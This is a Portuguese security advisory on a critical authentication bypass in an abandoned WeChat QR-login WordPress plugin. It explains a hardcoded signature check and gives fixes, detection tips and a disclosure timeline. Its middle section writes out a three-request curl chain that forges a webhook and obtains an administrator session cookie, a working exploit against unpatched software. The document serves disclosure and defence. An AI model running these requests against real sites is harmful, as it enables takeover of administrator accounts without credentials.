CVE-2026-13597 CVSS 9.8 · Crítico
Software: QRcode Login for WeChat (plugin WordPress) · slug qrcode-login-for-weixin
Versões afetadas: ≤ 1.3 (última versão disponível)
Classe: Authentication Bypass / Account Takeover (CWE-287, CWE-288, CWE-639) · OWASP A07:2021 — Identification and Authentication Failures
Vetor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Privilégio necessário: nenhum (não autenticado) · Crédito: Equipe TreeSec
Data descoberta: 27 de junho de 2026 · Submetido ao WPScan em 27/06/2026
Referências: WPScan
Status de correção: sem versão corrigida prevista — plugin abandonado. Remoção imediata é a única ação.
Aviso legal: toda a validação foi feita exclusivamente em laboratório próprio (WordPress + PHP 8.2 em Docker), de forma não destrutiva. Nenhum sistema de terceiros foi testado ou afetado. Dado o CVSS 9.8 e a ausência de patch, o PoC completo está sob divulgação coordenada. Os passos técnicos abaixo são suficientes para que administradores avaliem a exposição e tomem a ação correta: remover o plugin.
Neste write-up
1. O que torna este achado diferente
A maioria dos achados de segurança em plugins WordPress envolve configurações mal feitas, validação ausente ou escopos excessivos. Este é diferente em três aspectos simultâneos:
- CVSS 9.8 — Crítico: não é inflacionado. O vetor é
AV:N/AC:L/PR:N/UI:N: rede, sem complexidade de ataque, sem privilégio, sem interação do usuário. Comprometimento total de confidencialidade, integridade e disponibilidade. Qualquer sistema na internet com este plugin instalado e ativo está completamente exposto. - Plugin abandonado desde 2019: não há desenvolvedor ativo, não há canal de divulgação responsável funcional, não há versão corrigida a caminho. A única mitigação real é remover o plugin.
- O mecanismo de segurança é um stub:
checkSignature()— o método que deveria validar que o webhook veio realmente do servidor WeChat — temreturn truehardcoded. Não é uma implementação incorreta. É uma implementação deliberadamente vazia que nunca foi preenchida.
Esse terceiro ponto é o mais revelador: o desenvolvedor sabia que precisava existir uma verificação, criou o método com o nome certo, e simplesmente retornou true. O esqueleto de segurança foi construído, mas nunca implementado. O plugin foi publicado e permanece disponível assim.
2. A superfície: webhook WeChat sem verificação
O plugin implementa login via QR code do WeChat: o usuário escaneia um QR no site, o servidor WeChat envia um webhook de confirmação, e o plugin loga o usuário. O fluxo legítimo depende de que apenas o servidor WeChat possa disparar esses webhooks — essa garantia é responsabilidade de checkSignature().
O endpoint do webhook é registrado via parse_request no WordPress. Qualquer requisição com o parâmetro ql=1 na URL é roteada para o handler do plugin:
// class-weixin.php — registro do webhook
add_action('parse_request', function($wp) {
if (isset($_GET['ql']) && $_GET['ql'] == 1) {
$weixin = new QR_Login();
if ($weixin->checkSignature()) { // ← sempre true
$weixin->responseMsg();
}
}
});
O resultado: qualquer pessoa na internet pode simular um webhook do WeChat simplesmente fazendo um POST para https://VITIMA/?ql=1 com o body XML correto. O servidor não distingue o WeChat real de um atacante.
3. O hardcode que derruba tudo: checkSignature()
A verificação de assinatura de webhooks WeChat é bem documentada: o receptor deve calcular um SHA1 da concatenação ordenada do token configurado, do timestamp e do nonce, e comparar com a assinatura enviada na requisição. É um mecanismo padrão para provar que o webhook veio do servidor correto.
Esta é a implementação no plugin:
// class-weixin.php:65-72
public function checkSignature() {
// deveria validar SHA1(token+timestamp+nonce) == signature
return true; // ← hardcoded: qualquer webhook é aceito
}
Uma implementação correta seria:
// implementação correta
public function checkSignature() {
$token = get_option('ql_token');
$timestamp = $_GET['timestamp'];
$nonce = $_GET['nonce'];
$signature = $_GET['signature'];
$arr = [$token, $timestamp, $nonce];
sort($arr);
return hash_equals(sha1(implode('', $arr)), $signature);
}
Com o stub em lugar da implementação real, o método aceita qualquer valor nos parâmetros timestamp, nonce e signature — incluindo literalmente 1. O servidor trata qualquer requisição POST como um evento legítimo do WeChat.
4. A cadeia: 3 requests, 0 autenticação
O ataque é executado em três requisições sequenciais, todas sem cookie de autenticação:
Req 1 — Obter nonce público da página de login
O plugin imprime um objeto JavaScript com um nonce WordPress na página de login (/wp-login.php), visível para qualquer visitante não autenticado:
# Raspar nonce uid=0 da página de login
curl -s 'https://VITIMA/wp-login.php' | grep -oE 'jsobj = \{"nonce":"[a-f0-9]+"'
# → jsobj = {"nonce":"1c00a899bf"
Este nonce é gerado para uid=0 (usuário anônimo) e será usado na requisição 3 para passar a verificação de check_ajax_referer.
Req 2 — Forjar webhook WeChat e receber o código
Com checkSignature() retornando true, o atacante forja um evento WeChat do tipo SCAN usando qualquer valor nos campos de autenticação do webhook. O campo FromUserName é o login do usuário WordPress alvo; o campo Ticket é um identificador arbitrário escolhido pelo atacante:
# Forjar webhook WeChat — simular scan do admin
curl -s 'https://VITIMA/?ql=1×tamp=1&nonce=1&signature=1' \
-H 'Content-Type: text/xml' \
--data-binary '<xml>
<FromUserName>admin</FromUserName>
<Event>SCAN</Event>
<EventKey>login</EventKey>
<Ticket>ATTACK</Ticket>
</xml>'
# Resposta XML do servidor:
# <xml>...<Content>验证码是:3439</Content></xml>
# O código gerado pelo servidor é devolvido ao atacante em texto claro.
O que acontece no servidor quando recebe esta requisição:
parse_requestroteia para o handler;checkSignature()retornatrue— webhook aceito;random_int(1000, 9999)gera um código de 4 dígitos;set_transient('ATTACK', $code)eset_transient('code_'.$code, 'admin')armazenam a associação ticket ↔ código ↔ usuário;reply_code()ecoa o código no XML de resposta em texto claro.
O atacante recebe o código diretamente na resposta da própria requisição. O "segredo" nunca foi secreto.
Req 3 — Resgatar sessão de administrador
# Resgatar sessão com o código obtido na Req 2
curl -s -c cookies.txt 'https://VITIMA/wp-admin/admin-ajax.php' \
--data-urlencode 'action=qrcode_login_action' \
--data-urlencode 'security=1c00a899bf' \
--data-urlencode 'ticket=ATTACK' \
--data-urlencode 'vcode=3439'
# → {"success":true,"data":{"errmsg":"login success"}}
O handler wp_ajax_nopriv_qrcode_login_action executa a seguinte lógica:
- Valida o nonce (
check_ajax_referer('jsnonce','security')) — passa, pois o nonce uid=0 obtido na Req 1 é válido para qualquer anônimo; - Recupera
get_transient('ATTACK')→ código gerado; - Recupera
get_transient('code_3439')→'admin'; - Compara
$vcode == $code→3439 == 3439→ verdadeiro; get_user_by('login', 'admin')→ objeto do usuário administrador;wp_set_auth_cookie($user->ID, true)→ cookie de sessão de administrador gravado.
O arquivo cookies.txt agora contém um wordpress_logged_in_* válido para o usuário admin. Acesso total ao painel WordPress sem senha.
| Proteção esperada | Status | Por que falha |
|---|---|---|
| Verificação de assinatura do webhook WeChat | Stub — return true | Qualquer requisição forjada é aceita como legítima |
| Segredo no código de verificação | Ecoado na resposta | O servidor devolve o código ao solicitante — que é o atacante |
| Nonce como barreira de autenticação | Público (uid=0) | Nonce impresso em /wp-login.php para visitantes anônimos |
| Força bruta no código de 4 dígitos | Irrelevante | Brute force sequer é necessário — o código é recebido na Req 2 |
5. Por que o código de 4 dígitos não é proteção
Alguém poderia argumentar: “mesmo que o webhook seja aceito, o código de 4 dígitos adiciona uma camada — só tem 10.000 combinações, mas exige tentativas.” Esse argumento falha por motivos distintos:
O código é entregue ao atacante. O erro central não é o espaço de busca de 10.000 combinações — é que o próprio servidor devolve o código certo na resposta da Req 2. Não há busca. O atacante informa um ticket arbitrário, o servidor gera um código e o ecoa de volta. É equivalente a um cofre que, quando você tenta abrir, exibe a combinação na porta.
Mesmo sem o echo, 10.000 tentativas seriam triviais. Um script simples percorreria 1000–9999 em segundos. Sem rate limiting, sem bloqueio por IP, sem expiração de transient em poucos segundos — o servidor aceita tentativas indefinidas até o transient expirar (padrão WordPress: sem expiração definida, sobrevive por dias).
O ticket é controlado pelo atacante. O transient é indexado pelo ticket que o atacante escolhe. Não há aleatoriedade nesse índice, não há associação com um estado de sessão legítimo. O atacante cria o ticket, o servidor associa o código a ele, o atacante usa o mesmo ticket para resgatar.
6. Impacto real e o que fazer agora
Não importa quantos sites ainda rodem o plugin: para cada um deles o risco é absoluto — qualquer pessoa na internet pode obter acesso de administrador em três requisições HTTP, sem credenciais, sem interação de nenhum usuário legítimo, e sem deixar entradas suspeitas nos logs de autenticação do WordPress.
O ataque é silencioso. As três requisições parecem legítimas nos logs do servidor:
- GET
/wp-login.php— carga normal da página de login; - POST
/?ql=1— parece um evento WeChat legítimo; - POST
/wp-admin/admin-ajax.php— chamada AJAX normal.
Nenhum log de “falha de autenticação” é gerado — porque nenhuma autenticação falhou. O plugin simplesmente logou o usuário como de costume.
Correções que resolveriam o problema
Para fins de documentação técnica e para auxiliar quem quiser fazer um fork corrigido:
- Implementar
checkSignature()real:public function checkSignature() { $token = get_option('ql_token'); $arr = [$token, $_GET['timestamp'], $_GET['nonce']]; sort($arr); return hash_equals(sha1(implode('', $arr)), $_GET['signature']); } - Nunca ecoar o código na resposta: o código de verificação deve ser enviado ao usuário por um canal separado (no caso, via mensagem WeChat), nunca devolvido ao solicitante do webhook.
- Rate limiting e expiração: o transient do código deve expirar em 30–60 segundos, com no máximo 5 tentativas por IP.
Ação recomendada para qualquer site com este plugin: desative e remova imediatamente via Painel → Plugins → Plugin inativo → Excluir. Verifique nos logs de acesso se há requisições POST para
/?ql=1recentes — se houver, audite os usuários administradores do site.
7. Disclosure e timeline
- 27/06/2026 — Descoberta e confirmação em laboratório (PHP 8.2). Sessão de administrador obtida em 3 requests sem senha. Auditoria de logs confirmou ausência de entradas de falha de autenticação.
- 27/06/2026 — Prior-art: WPScan = 0 resultados, Patchstack = 0, NVD = 0. Achado inédito. Tentativa de contato com o autor do plugin (perfil do WordPress.org) — sem resposta esperada dado o abandono desde 2019. Submetido ao WPScan como CNA; publicado como CVE-2026-13597.
- Sem versão corrigida prevista — plugin abandonado. O WordPress.org foi notificado para avaliação de remoção do repositório.
- Embargo indefinido — o PoC completo permanece privado enquanto instalações ativas forem identificadas.
Este achado ilustra um risco real e subestimado no ecossistema WordPress: plugins abandonados que permaneceram funcionais por anos, sem manutenção, com vulnerabilidades críticas que nunca receberão correção. Um inventário de plugins — incluindo os inativos e desatualizados — é parte essencial de qualquer avaliação de segurança. A TreeSec mapeia exatamente isso nos nossos pentests.
Você sabe quais plugins abandonados estão no seu WordPress?
Nossos pentests Web & API auditam autenticação, webhooks, handlers AJAX e plugins desatualizados — os vetores que scanners automáticos ignoram por completo.